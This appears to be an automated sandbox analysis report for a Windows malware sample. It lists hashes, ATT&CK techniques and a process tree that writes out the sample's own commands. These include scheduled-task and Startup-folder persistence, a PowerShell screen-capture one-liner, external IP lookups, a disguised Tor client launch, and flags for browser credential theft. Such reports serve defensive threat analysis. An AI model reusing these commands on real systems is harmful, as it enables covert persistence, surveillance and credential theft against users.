d4a094f2c436a2bdba68ec6fee32c2a98b5a2f5949df99faf21163e2a653602a

Analysis

max time kernel
150s
max time network
158s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/08/2026, 23:23

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-22_d7336f677fdb6568a485ead3961d3844_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Size 65.5MB
Sample260822-3dd2vs1ake
SHA256 d4a094f2c436a2bdba68ec6fee32c2a98b5a2f5949df99faf21163e2a653602a
MD5 d7336f677fdb6568a485ead3961d3844
SHA1 78201441df5fc69e58b8f7f9ee5c2e0e7a2118f5
SHA512 217fe02db2acbc0ca341d70c3325c1fcc6639f24b58fa4a07369d29b96100d0795bfac2cac43bafb92e93ffda89ebe9e3c6f8795f26a9d50f061c254eb3cb3e6
SSDEEP 393216:x1Du8BtuBw2FEL3Z3aLUoQvo6LP/SgbSpYvKEh1EdKwlGQKPJuGsiTfREsrgCYfJ:xMguj8Q4Vfv6qFTrYF
TLSH
T19CE79E3722B714ADF4B6D932C1661106CE3A39175339D6CF718C62B52FAB6E44E39B20
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation spyware stealer

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	5888	powershell.exe
8	2284	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2448	powershell.exe
2656	powershell.exe
2764	powershell.exe
5708	powershell.exe
1072	powershell.exe
6076	powershell.exe
5888	powershell.exe
2284	powershell.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SessionEnv61afea.exe	2026-08-22_d7336f677fdb6568a485ead3961d3844_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe

Executes dropped EXE 3 IoCs

pid	Process
4652	OneDriveStandaloneUpdater.exe
2584	SessionEnv61afea.exe
2772	AppleService.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Indicator Removal: Clear Persistence 1 TTPs 1 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
5996	cmd.exe

Looks up external IP address via web service 1 TTPs 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	api.ipify.org
1	checkip.amazonaws.com
8	checkip.amazonaws.com

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
120	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3392	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 20 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1152	cmd.exe
4620	cmd.exe
2556	cmd.exe
3828	cmd.exe
4624	cmd.exe
5464	cmd.exe
2692	cmd.exe
3400	cmd.exe
5456	cmd.exe
3504	cmd.exe
3844	cmd.exe
3168	cmd.exe
4392	cmd.exe
4852	cmd.exe
120	cmd.exe
5384	cmd.exe
3736	cmd.exe
3040	cmd.exe
2376	cmd.exe
2060	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2772	AppleService.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
3104	taskkill.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
5728	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1272	schtasks.exe

Suspicious behavior: EnumeratesProcesses 37 IoCs

pid	Process
5888	powershell.exe
5888	powershell.exe
5888	powershell.exe
2284	powershell.exe
2284	powershell.exe
2284	powershell.exe
2448	powershell.exe
2448	powershell.exe
2448	powershell.exe
2656	powershell.exe
2656	powershell.exe
2656	powershell.exe
2764	powershell.exe
2764	powershell.exe
2764	powershell.exe
5320	WMIC.exe
5320	WMIC.exe
5320	WMIC.exe
5320	WMIC.exe
4724	WMIC.exe
4724	WMIC.exe
4724	WMIC.exe
4724	WMIC.exe
5708	powershell.exe
5708	powershell.exe
5952	WMIC.exe
5952	WMIC.exe
5952	WMIC.exe
5952	WMIC.exe
1072	powershell.exe
1072	powershell.exe
4492	WMIC.exe
4492	WMIC.exe
4492	WMIC.exe
4492	WMIC.exe
6076	powershell.exe
6076	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	120	tasklist.exe
Token: SeDebugPrivilege	5888	powershell.exe
Token: SeDebugPrivilege	2284	powershell.exe
Token: SeDebugPrivilege	3104	taskkill.exe
Token: SeDebugPrivilege	2448	powershell.exe
Token: SeIncreaseQuotaPrivilege	2448	powershell.exe
Token: SeSecurityPrivilege	2448	powershell.exe
Token: SeTakeOwnershipPrivilege	2448	powershell.exe
Token: SeLoadDriverPrivilege	2448	powershell.exe
Token: SeSystemProfilePrivilege	2448	powershell.exe
Token: SeSystemtimePrivilege	2448	powershell.exe
Token: SeProfSingleProcessPrivilege	2448	powershell.exe
Token: SeIncBasePriorityPrivilege	2448	powershell.exe
Token: SeCreatePagefilePrivilege	2448	powershell.exe
Token: SeBackupPrivilege	2448	powershell.exe
Token: SeRestorePrivilege	2448	powershell.exe
Token: SeShutdownPrivilege	2448	powershell.exe
Token: SeDebugPrivilege	2448	powershell.exe
Token: SeSystemEnvironmentPrivilege	2448	powershell.exe
Token: SeRemoteShutdownPrivilege	2448	powershell.exe
Token: SeUndockPrivilege	2448	powershell.exe
Token: SeManageVolumePrivilege	2448	powershell.exe
Token: 33	2448	powershell.exe
Token: 34	2448	powershell.exe
Token: 35	2448	powershell.exe
Token: 36	2448	powershell.exe
Token: SeDebugPrivilege	2656	powershell.exe
Token: SeDebugPrivilege	2764	powershell.exe
Token: SeIncreaseQuotaPrivilege	5320	WMIC.exe
Token: SeSecurityPrivilege	5320	WMIC.exe
Token: SeTakeOwnershipPrivilege	5320	WMIC.exe
Token: SeLoadDriverPrivilege	5320	WMIC.exe
Token: SeSystemProfilePrivilege	5320	WMIC.exe
Token: SeSystemtimePrivilege	5320	WMIC.exe
Token: SeProfSingleProcessPrivilege	5320	WMIC.exe
Token: SeIncBasePriorityPrivilege	5320	WMIC.exe
Token: SeCreatePagefilePrivilege	5320	WMIC.exe
Token: SeBackupPrivilege	5320	WMIC.exe
Token: SeRestorePrivilege	5320	WMIC.exe
Token: SeShutdownPrivilege	5320	WMIC.exe
Token: SeDebugPrivilege	5320	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5320	WMIC.exe
Token: SeRemoteShutdownPrivilege	5320	WMIC.exe
Token: SeUndockPrivilege	5320	WMIC.exe
Token: SeManageVolumePrivilege	5320	WMIC.exe
Token: 33	5320	WMIC.exe
Token: 34	5320	WMIC.exe
Token: 35	5320	WMIC.exe
Token: 36	5320	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5320	WMIC.exe
Token: SeSecurityPrivilege	5320	WMIC.exe
Token: SeTakeOwnershipPrivilege	5320	WMIC.exe
Token: SeLoadDriverPrivilege	5320	WMIC.exe
Token: SeSystemProfilePrivilege	5320	WMIC.exe
Token: SeSystemtimePrivilege	5320	WMIC.exe
Token: SeProfSingleProcessPrivilege	5320	WMIC.exe
Token: SeIncBasePriorityPrivilege	5320	WMIC.exe
Token: SeCreatePagefilePrivilege	5320	WMIC.exe
Token: SeBackupPrivilege	5320	WMIC.exe
Token: SeRestorePrivilege	5320	WMIC.exe
Token: SeShutdownPrivilege	5320	WMIC.exe
Token: SeDebugPrivilege	5320	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5320	WMIC.exe
Token: SeRemoteShutdownPrivilege	5320	WMIC.exe

Suspicious use of WriteProcessMemory 45 IoCs

description	pid	Process	procid_target
PID 5412 wrote to memory of 5456	5412	2026-08-22_d7336f677fdb6568a485ead3961d3844_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	88
PID 5456 wrote to memory of 3168	5456	cmd.exe	90
PID 5412 wrote to memory of 5996	5412	2026-08-22_d7336f677fdb6568a485ead3961d3844_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	91
PID 5996 wrote to memory of 708	5996	cmd.exe	93
PID 5412 wrote to memory of 1152	5412	2026-08-22_d7336f677fdb6568a485ead3961d3844_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	94
PID 1152 wrote to memory of 1272	1152	cmd.exe	96
PID 5412 wrote to memory of 5384	5412	2026-08-22_d7336f677fdb6568a485ead3961d3844_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	97
PID 5384 wrote to memory of 244	5384	cmd.exe	100
PID 4652 wrote to memory of 4392	4652	OneDriveStandaloneUpdater.exe	102
PID 4392 wrote to memory of 120	4392	cmd.exe	104
PID 4392 wrote to memory of 1900	4392	cmd.exe	105
PID 5412 wrote to memory of 2584	5412	2026-08-22_d7336f677fdb6568a485ead3961d3844_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	107
PID 2584 wrote to memory of 4620	2584	SessionEnv61afea.exe	108
PID 4620 wrote to memory of 5888	4620	cmd.exe	110
PID 2584 wrote to memory of 3736	2584	SessionEnv61afea.exe	111
PID 3736 wrote to memory of 2284	3736	cmd.exe	113
PID 2584 wrote to memory of 2556	2584	SessionEnv61afea.exe	114
PID 2556 wrote to memory of 3104	2556	cmd.exe	116
PID 2584 wrote to memory of 2772	2584	SessionEnv61afea.exe	117
PID 2584 wrote to memory of 5728	2584	SessionEnv61afea.exe	120
PID 2584 wrote to memory of 3040	2584	SessionEnv61afea.exe	122
PID 2584 wrote to memory of 3828	2584	SessionEnv61afea.exe	124
PID 3828 wrote to memory of 2448	3828	cmd.exe	126
PID 2584 wrote to memory of 4852	2584	SessionEnv61afea.exe	127
PID 4852 wrote to memory of 2432	4852	cmd.exe	129
PID 2584 wrote to memory of 4624	2584	SessionEnv61afea.exe	130
PID 4624 wrote to memory of 2656	4624	cmd.exe	132
PID 2584 wrote to memory of 3504	2584	SessionEnv61afea.exe	133
PID 3504 wrote to memory of 2764	3504	cmd.exe	135
PID 2584 wrote to memory of 2376	2584	SessionEnv61afea.exe	136
PID 2376 wrote to memory of 5320	2376	cmd.exe	138
PID 2584 wrote to memory of 3392	2584	SessionEnv61afea.exe	139
PID 3392 wrote to memory of 4672	3392	cmd.exe	141
PID 2584 wrote to memory of 5464	2584	SessionEnv61afea.exe	142
PID 5464 wrote to memory of 4724	5464	cmd.exe	144
PID 2584 wrote to memory of 120	2584	SessionEnv61afea.exe	145
PID 120 wrote to memory of 5708	120	cmd.exe	147
PID 2584 wrote to memory of 2060	2584	SessionEnv61afea.exe	148
PID 2060 wrote to memory of 5952	2060	cmd.exe	150
PID 2584 wrote to memory of 3844	2584	SessionEnv61afea.exe	151
PID 3844 wrote to memory of 1072	3844	cmd.exe	153
PID 2584 wrote to memory of 2692	2584	SessionEnv61afea.exe	154
PID 2692 wrote to memory of 4492	2692	cmd.exe	156
PID 2584 wrote to memory of 3400	2584	SessionEnv61afea.exe	157
PID 3400 wrote to memory of 6076	3400	cmd.exe	159

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4672	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2026-08-22_d7336f677fdb6568a485ead3961d3844_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-22_d7336f677fdb6568a485ead3961d3844_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe"
1⤵
- Creates a file in the Startup directory
- Suspicious use of WriteProcessMemory
PID:5412
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c copy /y "C:\Users\Admin\AppData\Local\Temp\2026-08-22_d7336f677fdb6568a485ead3961d3844_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Settings\OneDriveStandaloneUpdater.exe""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5456
- - C:\Windows\system32\cmd.exe
    cmd /c copy /y "C:\Users\Admin\AppData\Local\Temp\2026-08-22_d7336f677fdb6568a485ead3961d3844_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Settings\OneDriveStandaloneUpdater.exe"
    3⤵
    - Executes a command shell one-liner
    PID:3168
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /delete /tn "BroadcomAgentGraphics" /f"
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5996
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn "BroadcomAgentGraphics" /f
    3⤵
    PID:708
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "BroadcomAgentGraphics" /tr "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Settings\OneDriveStandaloneUpdater.exe" /sc ONLOGON /rl LIMITED /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1152
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "BroadcomAgentGraphics" /tr "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Settings\OneDriveStandaloneUpdater.exe" /sc ONLOGON /rl LIMITED /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1272
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /query /tn "BroadcomAgentGraphics""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5384
- - C:\Windows\system32\schtasks.exe
    schtasks /query /tn "BroadcomAgentGraphics"
    3⤵
    PID:244
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SessionEnv61afea.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SessionEnv61afea.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2584
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Invoke-WebRequest -Uri https://api.ipify.org/ -UseBasicParsing -TimeoutSec 6).Content.Trim()""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4620
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "(Invoke-WebRequest -Uri https://api.ipify.org/ -UseBasicParsing -TimeoutSec 6).Content.Trim()"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Invoke-WebRequest -Uri https://checkip.amazonaws.com/ -UseBasicParsing -TimeoutSec 6).Content.Trim()""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3736
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "(Invoke-WebRequest -Uri https://checkip.amazonaws.com/ -UseBasicParsing -TimeoutSec 6).Content.Trim()"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2284
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM tor.exe 2>nul"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2556
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM tor.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3104
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\AMDHandler_a7djxh\AppleService.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\AMDHandler_a7djxh\AppleService.exe --SocksPort 9614 --DataDirectory C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\AMDHandler_a7djxh\data --Log "notice stdout" --DisableNetwork 0 --UseBridges 0 --ClientOnly 1 --NumEntryGuards 8 --NumDirectoryGuards 3 --CircuitBuildTimeout 30 --LearnCircuitBuildTimeout 0 --MaxCircuitDirtiness 600
    3⤵
    - Executes dropped EXE
    - System Time Discovery
    PID:2772
- - C:\Windows\system32\reg.exe
    reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
    3⤵
    - Modifies registry key
    PID:5728
- - C:\Windows\system32\cmd.exe
    cmd /d /c vol C:
    3⤵
    - Executes a command shell one-liner
    PID:3040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-CimInstance Win32_Processor).Name""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3828
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "(Get-CimInstance Win32_Processor).Name"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2448
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLMSOFTWAREMicrosoftWindows NTCurrentVersion" /v CurrentBuildNumber"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4852
  - - C:\Windows\system32\reg.exe
      reg query "HKLMSOFTWAREMicrosoftWindows NTCurrentVersion" /v CurrentBuildNumber
      4⤵
      PID:2432
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion").CurrentBuildNumber""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4624
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "(Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion").CurrentBuildNumber"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2656
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Add-Type -AssemblyName System.Windows.Forms; $screen = [System.Windows.Forms.SystemInformation]::VirtualScreen; $bitmap = New-Object System.Drawing.Bitmap $screen.Width, $screen.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($screen.Left, $screen.Top, 0, 0, $bitmap.Size); $thumbnail = New-Object System.Drawing.Bitmap($bitmap, 320, 180); $thumbnail.Save('C:\Users\Admin\AppData\Local\Temp\SysCache7011379d.tmp')""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3504
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-Type -AssemblyName System.Windows.Forms; $screen = [System.Windows.Forms.SystemInformation]::VirtualScreen; $bitmap = New-Object System.Drawing.Bitmap $screen.Width, $screen.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($screen.Left, $screen.Top, 0, 0, $bitmap.Size); $thumbnail = New-Object System.Drawing.Bitmap($bitmap, 320, 180); $thumbnail.Save('C:\Users\Admin\AppData\Local\Temp\SysCache7011379d.tmp')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic logicaldisk get DeviceID,DriveType /format:csv"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2376
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic logicaldisk get DeviceID,DriveType /format:csv
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "attrib +h "F:\.drvid""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:3392
  - - C:\Windows\system32\attrib.exe
      attrib +h "F:\.drvid"
      4⤵
      Views/modifies file attributes
      PID:4672
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic logicaldisk get DeviceID,DriveType /format:csv"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5464
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic logicaldisk get DeviceID,DriveType /format:csv
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4724
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Add-Type -AssemblyName System.Windows.Forms; $screen = [System.Windows.Forms.SystemInformation]::VirtualScreen; $bitmap = New-Object System.Drawing.Bitmap $screen.Width, $screen.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($screen.Left, $screen.Top, 0, 0, $bitmap.Size); $thumbnail = New-Object System.Drawing.Bitmap($bitmap, 320, 180); $thumbnail.Save('C:\Users\Admin\AppData\Local\Temp\SysCache446a64fe.tmp')""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:120
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-Type -AssemblyName System.Windows.Forms; $screen = [System.Windows.Forms.SystemInformation]::VirtualScreen; $bitmap = New-Object System.Drawing.Bitmap $screen.Width, $screen.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($screen.Left, $screen.Top, 0, 0, $bitmap.Size); $thumbnail = New-Object System.Drawing.Bitmap($bitmap, 320, 180); $thumbnail.Save('C:\Users\Admin\AppData\Local\Temp\SysCache446a64fe.tmp')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5708
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic logicaldisk get DeviceID,DriveType /format:csv"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2060
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic logicaldisk get DeviceID,DriveType /format:csv
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Add-Type -AssemblyName System.Windows.Forms; $screen = [System.Windows.Forms.SystemInformation]::VirtualScreen; $bitmap = New-Object System.Drawing.Bitmap $screen.Width, $screen.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($screen.Left, $screen.Top, 0, 0, $bitmap.Size); $thumbnail = New-Object System.Drawing.Bitmap($bitmap, 320, 180); $thumbnail.Save('C:\Users\Admin\AppData\Local\Temp\SysCachece15fa52.tmp')""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3844
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-Type -AssemblyName System.Windows.Forms; $screen = [System.Windows.Forms.SystemInformation]::VirtualScreen; $bitmap = New-Object System.Drawing.Bitmap $screen.Width, $screen.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($screen.Left, $screen.Top, 0, 0, $bitmap.Size); $thumbnail = New-Object System.Drawing.Bitmap($bitmap, 320, 180); $thumbnail.Save('C:\Users\Admin\AppData\Local\Temp\SysCachece15fa52.tmp')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1072
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic logicaldisk get DeviceID,DriveType /format:csv"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2692
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic logicaldisk get DeviceID,DriveType /format:csv
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4492
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Add-Type -AssemblyName System.Windows.Forms; $screen = [System.Windows.Forms.SystemInformation]::VirtualScreen; $bitmap = New-Object System.Drawing.Bitmap $screen.Width, $screen.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($screen.Left, $screen.Top, 0, 0, $bitmap.Size); $thumbnail = New-Object System.Drawing.Bitmap($bitmap, 320, 180); $thumbnail.Save('C:\Users\Admin\AppData\Local\Temp\SysCache604b0d24.tmp')""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3400
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-Type -AssemblyName System.Windows.Forms; $screen = [System.Windows.Forms.SystemInformation]::VirtualScreen; $bitmap = New-Object System.Drawing.Bitmap $screen.Width, $screen.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($screen.Left, $screen.Top, 0, 0, $bitmap.Size); $thumbnail = New-Object System.Drawing.Bitmap($bitmap, 320, 180); $thumbnail.Save('C:\Users\Admin\AppData\Local\Temp\SysCache604b0d24.tmp')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:6076

C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Settings\OneDriveStandaloneUpdater.exe
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Settings\OneDriveStandaloneUpdater.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4652
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "PID eq 5412" 2>nul | find "5412""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4392
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "PID eq 5412"
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:120
- - C:\Windows\system32\find.exe
    find "5412"
    3⤵
    PID:1900

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact